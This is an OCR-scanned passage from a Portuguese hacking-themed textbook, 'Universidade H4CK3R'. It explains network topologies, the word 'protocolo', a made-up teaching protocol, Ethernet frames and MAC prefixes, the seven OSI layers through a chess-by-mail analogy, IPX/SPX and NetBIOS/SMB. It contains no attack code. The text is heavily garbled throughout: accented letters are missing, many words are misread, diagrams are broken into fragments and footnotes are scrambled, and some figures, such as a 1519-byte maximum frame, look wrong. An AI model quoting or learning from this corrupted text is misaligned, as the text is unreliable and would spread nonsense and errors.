os computadores so ligados em um mesmo barramento fsicO de dados. Ape-
sar de os dados no passarem por dentro de cada um dos ns, apenas uma
mquina pode "escrever" no barramento num dado momento. Todas as outras
"escutam" e recolliem para si os dados destinados a elas.
139 1
I Redes 1
I Universidade H4CK3R I
40 I
Anc::l: essa topologia
constituda por um cir-
cuito fechado.As redes Cl?
nhecidas como Token Ring
(criadas pela IBM) so as
mais famosas. Quando fo-
ram criadas, ofereciam
uma taxa de transmisso
bem mais elevada do que
nas redes lineares, mas a
adio de um nmero mui-
to grande de mquinas no
anel causava problemas
de alrdSO, rudo e sincro-
nizllo. Por isso mesmo,
essa lOpologia caiu em
desuso para redes locais.
Em WANs, pelo contrrio, como so poucos ns (um de cada rede local que se
quer interligar), a topologia em anel a mais indicada.
Estrela: nessa topologia, toda a infonnao dt:vc pass."1r obrigatoriamente por
uma central inteligente, que dt..'"Ve conectar cada estao da rede e distribuir o tr'".ego
para que uma estao 11.10 receba, indevidamente, dados destinados s outras.
ATENO: uma rede local que use um hub no considerdda como estrela!!!
Um hub um dispositivo que possui, internamente, um barramento! O trfego
que entra. por uma porta do hub destinado a todas as outras portas. Uma rede
que usa switches, entretanto, um exemplo perfeito de configuraJ.o em estrela.
Outro exemplo so ,IS
controladoras de ternlinais
dos mainframes e
nnicomputadores.
A vantagem das imple-
mentaes por estrela a
grande especializao do
trfego. Apenas dados des-
tinados quele n so en-
viados a ele. Os custos de
implementao e opera-
o, entretanto, so eleva-
dos, e atualmente configu-
raes em estrela so usa-
das mais para interligar
segmentos de rede do que
ns individuais.
Redes 1 I
Universidade'o ano
Protocolos
Extrado do Novo Dicionrio Aurlio de Lngua Portuguesa:
protocolo. [Do gr. prockollon, 'primeira foJJla colada aos rolos de papiro, e na
qual se escrevia um reSllll10 do contedo do manuscrito', pelo lato medo protocollu
e pelo fr. prolOcole.] S. m. 1. Registro dos atos pblicos. 2. Registro d'lS audincias
nos tribunais. 3. Registro de uma conferncia ou deliberao diplomtica. 4. For-
mulrio regulador de atos pblicos. S. Conveno internacional. 6. vro de regis-
tro da correspondncia de uma fmna, repartio pblica, etc. 7. Br.iS. Carto ou
papeleta em que se anotam a data e o Iltmlero de ordem com que foi registrado no
livro de protocolo (6) um requerimento, e que serve como recibo. 8. Fig. Fonna-
!idade, etiqueta, cerimonial. 9. lofornl. Protocolo de comunicao (q. v.). Proto-
colo de comunicao. 10. lnfonn. Conjunto de regras, padres e especificaes
tcnicas que regulam a transmisso de dados entre computadores por meio de
progrJ.mas especficos, pennitindo a deteco e correo de erros; protocolo de
transmissio de dados. ITb. se diz apenas protocolo.} Protocolo de transmiss;10 de
dados. 11. I.nfOnTI. Protocolo de comwlicao (q. v.).
A palavra protocolo possui, ento, diversos significados, tanto na lngua
portuguesa quanto na lngua aceita como universal, o ingls. Trs dos significa-
dos chamam a ateno:
3. Registro de uma confertncia ou deliberao diplomtica.
5. Conveno internacional.
8. Fig. Fonnalidade, etiqueta, cerimonial.
O vocbulo teve sua origem no grego para designar a folha de resumo do
documento (protos = primeiro, kollon = folha), mas seu uso foi amplamente difun-
dido na esfera diplomtica; em um primeiro momento, como os documentos que
registravam quais as atitudes e os procedimentos que deveriam ser seguidos em
encontros ou querelas com outras naes e, posterionnente, como sinnimo des-
ses procedimentos. A definio 3 do verbete ilustr.i o sentido diplomtico original
da palavra, a definio 5 mostra o conceito mOOemo. Em sentido figurddo, as pes-
soas passaram a considerar qualquer procedimento-padriio (seja ele diplomtico
ou no) como protocolo - exatamente o que nos diz a definio 8 do verbete.
Quando as primeir.iS redes de computadores comear.im a sair do papel
e ser experimentadas nos laboratrios de tecnologia (j na dcada de 50), ha-
via a necessidade de criar um mecanismo para que cada equipamento ligado
nela pudesse se comunicar com os demais, mesmo que fossem equipamentos
diferentes. Foram criados ento mensagens-padriio, e se duas mquinas quises-
sem comunicar-se deveriam ambas conhecer tais mensagens. Pela similaridade
de idias (e para fazer uma brincadeira com a definio diplomtica), os enge-
nheiros de ento apelidaram essas mensagens-padriio de protocolo.
Observe as deftnies 9, 10 e 11. Se prestarmos ateno, veremos que nada
mais so do que extrapolaes de 5 e 8. Vejamos, ento, alguns dos protocolos de
redes mais conhecidos, suas funes e suas particularidades.
141 I
I Redes 1
I Universidade H4CK3R I
142 1
Como funcionam
Os protocolos so, ento, como que uma interface de rede tem de
dizer para poder se comunicar com as outras. Como a expresso da
frase anterior est no plural, deve haver alguma forma de todas as mquinas
conectadas na mesma rede conseguirem, ao uma mensagem, entender
se destinada a elas ou no.
A primeira providncia que um protocolo de redes deve tomar declamr de
<Iual protocolo estamos falando. Deve haver, cm algum lugar no incio da mensa-
gem, um indicador de protocolo. Lembrem-se: nem sempre existe apenas um
protocolo trafegando pela rede, ento faz-se necessrio identificar a todos.
Conside'dndo que uma mensagem (ou pacote, que o termo tcnico correto
para essa entidade) em uma rede um conjunto de dados originados em um n
e destinados a outro, e que esses dados sero tmnsmitidos serialmente na for-
ma de bits, coerente afirm<lr que teremos, no cabo da rede, um de
pulsos c1tricos seqenciais.
Para fins didticos, vamos "montar'" um pacote usando um protocolo genri-
co c fictcio, criado por ns. J sabemos que nossa mensagem tem de comear
com um identificador de protocolo, ento teremos alguma coisa assim:
ProtocollD
Uma das coisas que o protocolo deve definir, alm da posio onde est
cada um dos dados, o tamanho deles. Assi.m, em nosso protocolo fictcio
definimos que o identificador de protocolo est na primeira posio. Mas
devemos que definir tambm quantos bits sero usados para identific-lo.
Vamos supor que, em nossa tecnologia de redes, vo existir apenas quatro
protocolos diferentes. P'Jr.t quatro valores diferentes, bastam apenas dois bits.
Ento, quando publicarmos nossas normas e projetarmos nossas placas de
rede, j sabemos: os primeiros dois bits desse "<lcote identificam qual proto-
colo estamos usando.
H out ... coisa que j s,1bcmos: qual a mquina destino do pacote, e qual a
mquina de origem. Cada n em uma rede possui um identificador nico que
diferencia dos demais n6s. Esse identificador comumente chamado de cndc
reo, portanto, sabemos que preciso inserir, em nosso pacote, quantos bits
sero destinados representao do endereo de origem e de destino. Nossa
tecnologia de redes s vai ligar 16 ns ao mesmo tempo, ento quatro bits so
suficientes. (Estamos considerando que o leitor saiba fazer converso decimal!
binrio, pois ser necessrio. Em caso negativo, um site que pode esclarec-lo
pjlloo,dsi.uminho.ptl-ioojComputacao2!node2.hlmD.
Redes 1 I
Universidade 1 ano
o pacote ficaria assim'
ProtocollD
Endereco de
Endereco
12 bits)
Origem 14 bits)
Destin
14bitsl
Falta alguma coisa, no? Quem teria o trabalho de enviar, pelo correio, um
envelope com remeteme, destinatrio, o selo carimbado (que, nesse caso, iden-
tificaria o protocolo de comunicao: o sistema postal brasileiro) mas sem
uma carta no interior? Nosso protocolo tambm carece de algo til para fazer.
Precisamos definir um espao, dentro da mensagem, para carregar os dados
que queremos transmitir do n de origem para o de destino.
Vamos supor que a rede para a qual estamos criando esse protocolo tenha
uma limitao: o tamanho dos pacotes no pode passar de 64 bits. J usamos
dois par .. o protocolo, quatro para o endereo de origem e mais quatro para o
endereo de destino. 2+4+4 = 10, sobram, ento, 54 bits para o payload (ex-
presso usada no meio ferrovirio para definir o tamanho da ~ c r g tW) e
demais campos. Um protocolo, por mais simples que seja, deve possuir um
smbolo que marque o fim da mensagem. Vamos definir uma sequncia de
I byte para tal. Ao acaso, arbitramos 11001011 . O slnbolo deve ser a ltima
coisa que aparece na mensagem. Os 46 bits que sobraram podem ser usados
para transportar nossos dados.
PlD End. Origem End. Destino PAYLOAD IDados teis) FimMsg
2 bits 4bits 4 bits
46 bits
11001011
claro que pacotes montados segundo nosso simples protocolo simples
carecem de diversos controles mais sofisticados. Poderia, por exemplo, haver
um campo no qual existisse um nmero calculado a partir dos bits de toda a
mensagem. Esse nmero seria recalculado pelo n destino e, se o resultado
batesse com o que est guardado no campo, indicaria que a mensagem no foi
corrompida durame a viagem.
Outro campo til poderia ser um marcador de tamanho de mensagem.
Com o tamanho da mensagem varivel , ajustaramos a quantidade de dados a
transmitir naquele momento. Pegando como exemplo nosso protocolo, que
tem um payload de 46 bits, vemos que todas as mensagens tero rigorosamen-
te o tamanho mximo, mesmo que eu queir.1 transmitir apenas um bit. Com um
campo controlando o tamanho do payload, posso otimizar o uso da minha
rede e diminuir o trfego.
Eu poderia passar a madrugada inteira (sim, agora de madrugada, e eu
tenho de entregar o captulo todo corrigido amanh...) falando sobre as in-
meras possibilidades de implementao de protocolos. Em vez disso, recomen-
do ao leitor que procure na Intemet documentao sobre teoria de protocolos.
Bons livros sobre redes (como o j citado de Andrew Tannemmbaum) tambm
so boas fontes de iloffilaes sobre o assunto.
143 I
I Redes 1
I Universidade H4CK3R I
441
Matrioshka
3
O campo ProtocollD (ou 1)10) de nosso protocolo um identificador que
o diferencia dos outros protocolos que trafegam na rede.
O protocolo nosso "primeiro vamos baliz-lo de PROTI (original ,
no?). Pode ser que, no mesmo cabo, tmfegue o nosso PROTl e outros trs,
criados por seus colegas: MAlLI , WEBl e IMI. Em qualquer momento que se
verifique, h mensagens desses quatro protocolos trafegando simultaneamen-
te. So mensagens independentes e que podem existir no mesmo tempo e espa-
o. fcil observar, pelos nomes dados pelos seus colegas, que o protocolo
MAIL I V'J.i carregar mensagens de correio eletrnico, o protocolo WEB 1 trJ.rJ.
pginas Web para seu navegador e o protocolo LM I permitem conversas entre
progmmas de mensagens inst:lIltneas.
Em algumas situaes, queremos usar um protocolo parJ. transportar pa-
cotes de outros protocolos. Uma dessas situaes quando o nmero de proto-
colos a transportar na rede muito grande. Nesses casos, cria-se um protocolo
de tmnsporte - sendo s um, o hardware mais fcil de implementar - e
encapsula-se os demais protocolos como se fossem dados em seu payload.
Extrapolando, possvel ter vrios nveis de encapsulamento. Cada um
dos nveis comumente chamado de camada ou layer, e possvel extratificar
a comunicao de dados criando camadas com funcs especficas.
Cabealho
Cabealho
Cabealho
Fim
Os protocolos de mais alto nvel 5.10 em outros de uso mais
gemi. O processo pode seguir indefutidamente, dependendo das necessidades
de projeto. Cada uma das camadas pode tmtar de exigncias especficas da
rede. Por exemplo, a camada de mais baixo nvel provavelmente cuida dos
aspectos eltricos da comunicao, j a camada mais superior oferece um meio
para que as mensagens do programa que est acessando a rede sejam bem
recebidas na outra ponta do fio.
3 IJQmx <lS nJli$:1.'; que se cnC"ixam uma denrro da ourro. cb mesma fomla que as amlldlls do modelo OSI
o encapsulamento, inkillndo sempre peb menor c ' /?:mll:mdo pcso - cJurnnre o processo
Redes 1 I
Universidade 1ano
Ethernet
Confuso? Talvez a teoria seja, realmente, um pouco hermtica.AJguns exem-
plos prticos, entretanto, bastaro para mostrar ao leitor que esse mtodo de
guardar um envelope dentro do outro no s fcil de entender como facilita
as coisas para o projetista.
O Ethernet um protocolo de redes de baixo nvel. Ele controla como os
dados trdfeg;un na rede local, tanto no controle do meio fsico (sinais eltricos,
impedncia, etc) como na montagem de um quadro, chamado Ethernet, contendo
infomlacs sobre endereo de origem, de destino e dados a serem tr.msportados.
Se voc abrir wn caoo de rede e colocar um analisador lgico parJ. observar o que
est trafegando, o que vai aparecer na tela wn quadro Ethernet. A estrutura de
wn quadro Ethernet muito parecida com a do nosso protocolo fictcio. Observe:
Cabealho
Dados vindos da
Rodap
Ethernet
camada superior
Ethernet
Um quadro Ethernet possui um tamanho entre 64 e 1519 bytes (ou seja,
entre 512 e 12.152 bits). Antes de cada quadro Ethernet, h ainda um trem de
56 bits, alternados entre O e 1, chamado de prelmbulo e que serve para sin-
cronizar as interfaces de rede
1
. Um quadro Ethernet completo, incluindo o
prembulo, seria:
10101010 10101010 10101010 10101010 10101010 10101010 10101010
I
Prembulo SFD
Endereco Endereo Tamanho
"Payload"
FCS
Destino Origem do Quadro
7
6 6 2 46 a 1500
4
Os nmeros abaixo de cada campo representam o seu tamanho em bytes.
Depois do trem de pulsos do prembulo, temos o Start Frame Delimiter ou
SFD. Esse campo tem sempre o mesmo valor binrio (10101011) e serve para,
como o nome j diz, indicar o incio "oficial" do quadro. Os prximos dois
Glmpos so o endereo de origem e o de destino das interfaces de rede. Esses
endereos no so configurados pelo usurio. Pelo contrrio, o fabricante da
placa de rede insere, no prprio hardware, um endereo nico no mundo para
cada placa. O endereo Ethernet ou MAC adress, como costuma ser chamado,
possui seis bytes e representado por nmero hexadecimais. Um exemplo:
00 - 00 - 1D - Cl - 47 - FO
Os trt:s primeiros bytes determinam o fabricante da placa. J os trs lti-
mos, a faixa de endereos que aquele fabricante est autorizado a usar .
.f J':Ir.l os rcnicos t: engenheiros em elerTnic3: no/cm que, como uma .o;cqi'ncia de zeros e
UIIS. lIada que uma ondl quadr.ldl de freqncla - um clock!!!
145 I
I Redes 1
I Universidade H4CK3R I
1461
Na lista abaixo, que obviamente est bem simplificada, temos alguns conjuntos
de trs primeiros bytes de endereos MAC, indicando diferentes fabricantes:
00 00 oe - Cisco
00 00 18 - NoveU
02 60 SC - 3Com
08 00 09 - Hewlett-P",iCkard
08 00 20 - Sun Microsystems
0800 5A - IBM
Faa uma experincia e verifique o endereo MAC de sua placa de rede. Se
voc est usando um Windows da famlia Win9x, clique em Iniciar, Executar e
rode o programa WINIPCFG. Em um Windows 2000 ou X ~ entre nas suas
configuraes de rede e pea para ver o status da conexo. Clique em suporte,
depois no boto Detalhes. No linux e em alguns outros Unix, abra um terminal
e use o comando ifconfig.
Voltando ao quadro Ethernet , o prximo campo o tamanho do payload.
um nmero de dois bytes (portanto, 16 bits), e poderia indicar um tamanho
entre I e 65.536 para os dados. Na prtica, esse valor varia de 46 a 1500 bytes.
O ltimo campo do frame Ethernet o chamado FCS, ou Fr.t.me Check Sequence.
exatamente aquele nmero de verificao que discutimos em nosso protocolo ficti-
cio. Ele gerado em um n de origem em funo dos campos de endereo, tamanho
e payload e gravado no campo FCS. Qt&U1do o quadro chega no destino, o nmero
calculado de novo e comparado com o FCS. Se ambos forem iguais, o quadro est
bom. Se diferirem, o quadro est corrompido e ser descartado.
Um ltimo elemento, que no faz parte do quadro Ethernet, o chamado
lnterframe Cap. Depois que o quadro processado pela mquina destino, a
interface de rede de origem deixa a rede "em silncio" dur,tnte um tempo pr-
definido por hardware. Dessa fornla, todas as outras interfaces da rede podem
estabilizar-se e ficar espera de um novo quadro.
Interframe
Gap
Quadro n+1
Interframe
Gap
Quadro n+2
O protocolo Ethernet, sozinho, daria um livro inteiro. No ser preciso, para
nossos propsitos, dissec-lo mais do que apresentamos aqui. Para uma
escovao maior de bits, lembrese de que a Internet sua amiga.
Como o leitor ver a seguir, apresentaremos um modelo de referncia para a
criao de protocolos. O Ethernet encaixase nas camadas 1 e 2 desse modelo
de referncia. Pode parecer estranho ter "adiantado o expediente", falando so-
bre Ethernet antes de tudo, mas precisvamos de um exemplo prtico de pro-
tocolo. Como se pode ver, est tudo dentro do projeto pedaggico ;-)
Redes 1 I
Universidade,o ano
o Modelo 051
Podemos dizer que o modelo de referncia OSI (Open Systems Interconnection)
nasceu da necessidade de criar um protocolo que conseguisse se comunicar
entre redes diferentes. As redes antigas de computadores possuam protocolos
proprietrios. Se a empresa X implantasse uma rede, esta s poderia se comuni-
car e ser expandida com outras redes e equipamentos constmdos pela mesma
empresa. A tecnologia utilizad.1. em de conhecimento de apenas um fabricante,
no em possvel adquirir o hardware com uma empresa e instalar a rede com
outm. Os clientes ficavam de mos atadas, pois no havia concorrncia e nem
sempre O fabricante proporcionava a melhor soluo.
Como o prprio nome diz, o OSl um modelo de referncia, no um protoco-
lo. Vamos tentar ilustmr de uma maneirA bem simples: pense num processador
de textos. O Microsoft Word, por exemplo. Existem diversos modelos de docu-
mentos (chamados templates) a partir dos quais podemos criar nossas prpri-
as cartas, foUlas de rosto de fax ou memorandos. Imagine o modelo de refern-
cia OSl como um template pam criar protocolos de rede. Fcil , no?
O modelo foi desenvolvido pela ISO (lntemational Standards Organization),
e tomou-se um padro pam que os fabricantes passassem a desenvolver seus
protocolos a partir desse modelo. Ainda assim, voc pode notar que os proto-
colos existentes no seguem risca essas especificaes, alguns por serem
mais antigos que elas, outros por atingirem a objetivos tcnicos especficos, e
uns poucos por pura arrogncia corporativa.
Camadas
o modelo OSl fonnado por sete camadas, cada wna com uma funo diferen-
te. As camadas criam um envelope com os dados da camada superior, incluem
seus prprios cabeaUlos e entregam isso para a camada imediatamente inferior.
Quando o pacote chega na camada de nivel mais baixo, est pronto para ser
transmitido. As camadas so organizadas segundo este modelo:
7 Aplicao
6 Apresentao
5
Sesso
4 TrAnsporte
3
Rede
2 Enlace
1 Fsica
147 1
I Redes 1
I Universidade H4CK3R I
148 1
Modelo OS! representado pejas Matrloshhs


1 2
3
4 5 6 7
Quando um pacote enviado de um dispositivo que segue o modelo OSI
pard outro, as camadas do remetente se comunicam apenas com as camadas
correspondentes no receptor. Isso significa que as camadas identificam os ca-
bealhos equivalentes que foram includos no processo de encapsulamento,
fazendo assim com que o prximo nvel no precise lidar com as informaes
dos nveis anteriores. Trocando em midos, a camada 4 no tem a minma idia
do que as camadas 3, 2 e I fazem com os dados. nldo o que ela sabe que fez
um envelope e o entregou camada 3. L no outro lado da conexo, no recep-
tor, a camada 3 entregar o envelope fechado para que a camada 4 abra. Po-
dem ter havido mudanas de protocolo nas camadas inferiores, fragmentao
de pacotes, troca de ordem, no importa. A camada 4 s quer saber o que est
em seu envelope. Isso vale para todas as camadas e toma o funcionamento de
cada uma independente das out.dS.
Como dissemos, cada camada possui uma funo especfica. Se tomarmos
como ponto de partida que cada uma delas representa, na realidade, algum
software que desempenha as funes descritas (com exceo da camada I , que
implementao de hardware), veremos que o modelo proposto, em vez de
ser abstrato, at bem palpvel.
7 - Camada de Aplicao
A camada de aplicao , como o nome j diz, o prprio aplicativo. Em outras
palavrds, o programa que voc est usando. Por exemplo, seu navegador Web
est na camada de aplicao, e fala diretamente com o servidor Web que est l
na out'd ponta da conexo. H, portanto, uma "conversa a dois" entre os pro-
gramas. No , verdadeiramente, parte da rede. Do contrrio, essa camada re
presenta todos os programas que querem acessar a rede e no sabem como
faz-lo. A nica forma de os programas que usamos conseguirem se comunicar
com outros programas em outras mquinas "falando" com a camada 6.
Redes 1 I
Universidade'o ano
6 - Camada de: ApreS(:otao
Chamada, por muitos, de "a camada sem ou "a camada intil". Na
teoria, serve para preparar os dados no domnio local e coloc.""I-los em um for-
mato compatvel com procedimentos de transporte. No caminho inverso, pa-
droniza os diferentes tipos de dados de uma forma que qualquer aplicao
possa ser escrita para usar a rede, independente das implementaes das cinco
camadas inferiores. Dois exemplos de servios executados nessa camada so a
criptogrma e a compresso de dados. Na prtica, essa funo trivial e
implementada na prpria aplicao.
5 - Camada de Sesso
A camada de sesso responsvel pelo estabelecimento de conexo entre
dois computadores que esto se comunicando. Ela controla o dilogo entre as
aplicaes nos sistemas local e remO(Q. Tambm possvel agrupar dados em
blocos e marc-los depois de enviados. Caso haja uma intemlpo na conexo,
a prxima sesso poder recomear a partir do fun do ltimo bloco enviado.
4 - Camada de Transporte:
A camada de transpone fornece meios para que os ns local e remo(Q pos-
sam trocar dados. Usando uma analogia um pouco imprecisa, os programas da
camada 4 montam um entre a camada 5 locaJ e a camada 5 remota. Se os
softw;ares de camada 5 de ;ambas as mquinas olharem pelo c;ano, vero, do
outro lado, seu companheiro. atrJvs desse encanamento disponibilizado pela
camada S que tod;a a "mgica
M
das camadas anteriores acontece.
3 - Camada de Rede
At agonl , estvamos no mbito exclusivo do software. As c;amadas ante-
riores comunic;am-se diretamentc com o programa correspondente das m
quinas remotas. A camada 3, por outro lado, conhece a topologia e a distri-
buio da rede e sabe como encontrar uma mquin;a em especial no meio
da selva de endereos e caminhos. A c;amada de rede no orientada
conexo como a camada de transporte. Os pacotes so enviados sem que se
saiba se vo chegar ou no. Como a conexo estabelecida na camada ime-
diatamente superior (que, por sinal , est encapsulada nesta), isso no chega
a ser um problema.
2 - Camada de Enlace
A camada de enlace responsvel pela comunicao direta entre duas interfaces
numa mesma rede. No tem conhecimento de outras redes alm da sua, fimo
da camada superior. Por outro lado, a camada que, na rede de origem e na de
destino, efetivamente recolhe e entrega o pacote interface de rede correta.
Controle c deteco de erros fJzem parte do seu mtier.
1491
I Redes 1
I Universidade H4CK3R I
I 50 I
1 - Camada Fsica
Como o prprio nome indica, a responsvel pelo envio dos quadros parJ. o
meio fisico.A converso feita a partir dos Os e Is do quadro (sistema binrio)
e adaptada pam o meio, no caso de um meio eltrico, so tmnsformados em
sinais e1tricos, num meio tico, sinais luminosos e assim por diante.
Um exempLo prtico
Para entender melhor, uma pequena alegoria: um jogo, por correspondf:n-
cia, entre dois enxadristas, um em Teresina e outro cm Os enxadristas
so os usurios. O jogo em si (tabuleiro, peas e regms) a aplicao (camada
7). As jogadas so registr.tdas em notao tabular (por exemplo, o movimento
de um cavalo poderia ser B3CS) e escritas em folhas de papel - essa a forma
de apresentao do jogo (camada 6). Note que no basta simplesmente colo--
car uma papeleta no envelope com a notao da jogada. de bom tom escre-
ver uma carta completa, com data, saudao e assinatura, perguntar como vai a
famlia, o tr.tbalho, frias, etc. para que se crie um vnculo ntimo entre os dois.
Mas como enviar a jogada ao outro enxadrista? Bem, necessrio estabe-
lecer uma sesso (camada 5) de comunicao. Em nosso caso, a requisio da
sesso representada pelos servios da ECf. Colocamos a carta no envelope,
endereamos (no esquea o CEPO, selamos e colocamos na caixa de correio.
Do Outro lado, nosso colega vai abrir a carta e estabelecer a sesso.
A ECf responsvel pelo transporte de nossa carta (camada 4). Isso sig-
nifica criar meios para que lima conexo entre os dois enxadristas seja
estabelecida. Quando colocamos a carta na caixa de correio, espemmos que, de
algum jeito, ela chegue s mos do destinatrio. Os mecanismos lIsados para
tal no nos interessam.
A ECf separJ. as cartas por regio, depois por estado, depois por cidade,
depois por logradouro. Uma vez separ.tdas, monta pacotes de cartas destina-
das a cada logmdouro e os envia pam l. Utiliza-se, pam tal , uma rede de vias
rodovirias, ferrovirias e aeronuticas (camada 3) e um exrcito de carteiros
para entregar as cartas.
Os caminhes, nibus, avies, motocicletas e as bolsas dos carteiros so os
elementos que transportam os pacotes de cartas dentro de uma mesma rede
viria. Os caminhes s andam nas estradas, os avies s voam, os carteiros s
andam nas cidades. Nenhum deles conhece os detalhes de toda a rota das car-
tas, sabem apenas como entregar as cartas localmente. So nossa camada 2.
Note que, caso seja preciso trocar de tipo de rede (por exemplo, sair de
um avio e entrJ.r num nibus), nossas cartas so tratadas por funcionrios dos
correios que tmbalham em atividades prprias da camada 3. Eles sabem mapear
entre as redes. Os pilOlOS dos avies, por exemplo, no entendem nada disso.
5 Apesar facilidades da InfCrnet C da Telefonia, um jogo por mais romjJJtico e mais banHO.
Redes 1
Universidade,o ano
Os avies utilizam-se do ar para sustentao e navegao. J os cami-
nhes trafegam pela estradas. Os carteiros andam por cada lugar que merece-
riam muitas medalhas (nem o vemo, nem a chuva .. .). O ar, as estradas e os
morros 5.10 nossos meios tsicos, por onde feito o transporte de tudo o que
descrevemos nas camadas superiores.
Ufa! Descrevemos pelo modelo OSI , com um exemplo no-tecnolgico
(tamo o correio quanto o xadrez existem h milhares de anos ... ) , um mtodo
de tromsporte de mensagens entre duas aplicaes. Il coisas bem interessan-
tes a se observar nesse exemplo, o que comprova todas as teorias envolvidas
no modelo de rcferincia.
Encapsulamento: A jogada foi encapsulada na notao tabular, que foi
encapsulada na carta, que por sua vez foi encapsulada em um envelope, que
estabeleceu uma sesso de comunicao usando os protocolos de classificao
e transporte dos Correios, que envia pacotes de cartas segundo rotas especfi-
cas, que para isso trafegou em veculos que rodavam exclusivamente dentro do
meio fsico especifico para os quais foram feitos .
Paridade: Cada uma das c.unadas possl um emissor e um receptor. O pess0-
al de classificao e envio (camachl 3) com o mesmo pessoal da outra
localidade, usando os recursos da camada inferior (o caminho, por exemplo).
Conexo: A partir da camada quatro, vemos que todos os procedimentos
preci!i:lram que o emissor e o receptor entrem em negociao. Da camada 3
parol baixo, as cartas so transportadas indiscriminadamente, sem se importar
se havero algum l para No chega a ser um problema: se apenas
uma das camadas estabelecer um canal de conexo pennanente, as outras ca-
madas podem trafegar
Independncia: As camadas so completamente independentes. A cama-
da 4 - os setores de recebimento e entrega de cartas - no precisam saber
quais rOlaS o pessoal da camad'l trs - os setores de redes de transporte -
utilizou. Esse pessoal trata de coordenar os diferentes meios de tr.msporte -
nossa camada 2 - , mas no se preocupa com os problemas inerentes ao trans-
porte - qual caminho designar, combustvel, motorista, problemas com gre-
ves, sindicato ... J o motorista, alm de no saber por quais outros meios de
transporte as cartas trafegaram, muito menos o contedo de cada cana indivi-
duai , preocupa-se apenas em gercnciar os problemas inerentes ao seu traba-
lho: seguir a rota designada pelo pessoal da canlada trs, operando o caminho
de acordo com as leis de tr.msito, desviando de buracos, atravessando enchen-
tes, etc. Nenhum dos enxadristas (camada 7) sequer se incomoda em conhecer
qualquer uma dessas panes do processo. P-J.ra eles, o que vale mexer o cavalo
de acordo com B3C5.
151 I
I Redes 1
I Universidade H4CK3R I
152 I
SPX/IPX
o Sequenced Packct Exchange/lnternet Packet Exchange o protocolo uti-
lizado pela rede Netware da NoveO. Implementa as camadas 3 e 4 do modelo de
referncia OSI , e utiliza, como protocolo de camada 2, exclusivamente o EtheOlel.
Por muilOs anos, Netware e Ethernet fomm consider.tdos sinnimos. Possuem
diversas semelhanas com o TCP/IP. J fomm os prolOcolos mais populares,
mas, sendo o TCP/IP a base da lnternet , acabamm caindo em desuso .
IPX - O IPX seria o equivalente ao protocolo de redes. uma
implementao muito volumosa e cheia de recursos. Tem algumas carJ.cters-
ticas vantajosas como a deteco de endereos MAC e atribuio automtica
de endereo IPX, ao contrrio de outros prolOcolos como o IP, que fazem
com que o usurio tenha de atribuir manualmente um endereo pam cada
interface ou configurar um servio externo que automatize a tarefa _
SPX - Da mesma fonna que o IPX, o SPX tem correspondncia com o
protocolo OSI de trJ.nsportc. Uma das camcteristicas mais importantes des-
sa implementao que o SPX tem de receber a confirmao dos pacotes
enviados antes de poder enviar outro, o que tmz prejuzos pam o desempe-
nho da rede.
Camadas
As camadas do protocolo IPX/SPX atuam praticamente da mesma forma
que no padro TCP!IP; so elas: Aplicao, SPX, IPX, ODI/Ethernet e a camada
de Interface com a Rede.
Aplicao
SPX
IPX
0011 Ethernet
Interface com a rede
Cada um dos protocolos de todas as camadas Netware foram especial-
mente projetados para permitir elevada confiabilidade e desempenho. VriOS
flags de controle e sistemas redundantes de verificao de erros e reenvio de
pacotes so empregados. A prpria camada ODI representa um encapsulamelHo
do prolOcolo Ethernet para faz-lo atender s exigncias dos projetistas na
Noven. Mas, como nem tudo so flores, aumentar o nmero de controles que
gamntam confiabilidade tem como reflexo a queda do desempenho em pro-
poro direta. Esse foi um dos inmeros fatores que contriburam pam a der-
rocada do SPX/lPX como fanlia popular de protocolos de rede.
Redes 1 I
Universidade'o ano
NetBI05/ NetBEUI / 5MB / CIF5
No h nada mais manjado pam usurios corporativos de redes Windows
que a facilidade e a rdpidez de compartilhar com o utros colegas alguma im-
pressora ou pasta. possvel at disponibilizar um drive de CD, CD-R, CD-RW,
OVO, Zip ou mesmo de disquete.
O Network Basic Input Ourput System foi concebido pela IBM e extendido
pela Microsoft e Novell paI"""d uso em suas respectivas redes locais, o PC Network, o
Un Manager e o Netwate 2.0. Como o nome re-.tlrnente sugere, o NetBlOS Wrul
srie de extenses de entrada/salda panl que o velho sistema operacional MS-DOS e
seus descendentes poss;:un acessar redes locais. O NetBlOS baseia-se em um fonnato
de mensagens chamado Nerwork Control Blocks (NCO), que tmfegaV"dfll pela rc.."'(.\c
nos protocolos de camada 2 existentes. Demro dos NCBs, trafega lUll
outro protocolo chamado de SelVer Message B10cks ou SMIf', que infonna onde
esto as mquinas, quem so elas, quais seus MAC addresses e quais recursos (discos
ou impressoras) tm pam compartilllllr. Pode ser encontrado agindo sobre placas
do padro Ethemet, Token Ring e nwn finado padro Windows NT. O NelBlOS
implementa as f\U1es das camad.1S 4 (transporte) e S (sess.lo) do modelo de refe-
rncia OSI. O 5MB implementa funes das camadas 6 (apresentao) e sete (aplica-
o). EntretantO, eram apenas interfaces de programao e no implemenmo de
protocolos, e nunca foram implementldas as funcs correslx>ndentes s C"".unadas
2 (data link) e 3 (rede)
Com o tempo, o NetBlOS foi incorporado como uma APl de programao do
recente protocolo conhecido como NetBEUI (NetBIOS Enhanced User
Interface). S no NetBEUI, a IBM e a Microsoft implementamm, finalmente, um
quadro padronizado para transmisso na camada 4. A camada 3, porm, ficou
ainda de fora, no scndo possvel rotear o NetBEUI entre redes diferentes.
A dupla NelBIOS/NetBEUI sempre foi louvada por seu desempenho em
redes locais, normalmente pequenas. Entretanto, SU;l efetividade desaparece
em redes com mais de 80 computadores interligados. As recomendaes da
poca er.un de instalar o NeLBEUI com outro protocolo de camada 3 (como
IPX ou IP) e segmentar a rede. Hoje, sabe-se Que tal prtica invivel pard
grandes redes, e um tremendo furo de segurana. No primeiro caso, no se
consegue isolar os segmentos de rede com bridges e muito menos as redes
com roteadores porque a resoluo de nomes e entrega de mensagens entre
estacs se d por meio de broadcasts - mensagens destinadas toda a rede
indiscriminadamente. O seg\U1do problema bem pior: adicionando capacida-
des de roteamento ao NetBIOS, abriu-se as portas para que pessoas mal inten-
cion:ldas em todo o mundo bisbilhotem em sua rede via Intemet sem precisar
de outra ferramenta , alm do Internet Explorer.
A mistura IP/NeLBEUI tu ruim que a prpria Microsoft descontinuou o
suporte a NetBEUI no Windows XP. A soluo usar 5MB (uma implementao
de camada 7) diretamente sobre TCpnp
6 A .. no'''s " erscs do !>MIJ (ollm rebillizild;u de Comnon InterneI File 5"stem, milS. ilpesilr de
IlIurcm il/,gumas md/,ori;ls e noV3S c:lr.lCICnSlicls, ;lincliJ lr.l13-SC do l-clhQ C bom S.\ IB
153 1
I Redes 1
I Universidade H4CK3R I
,41
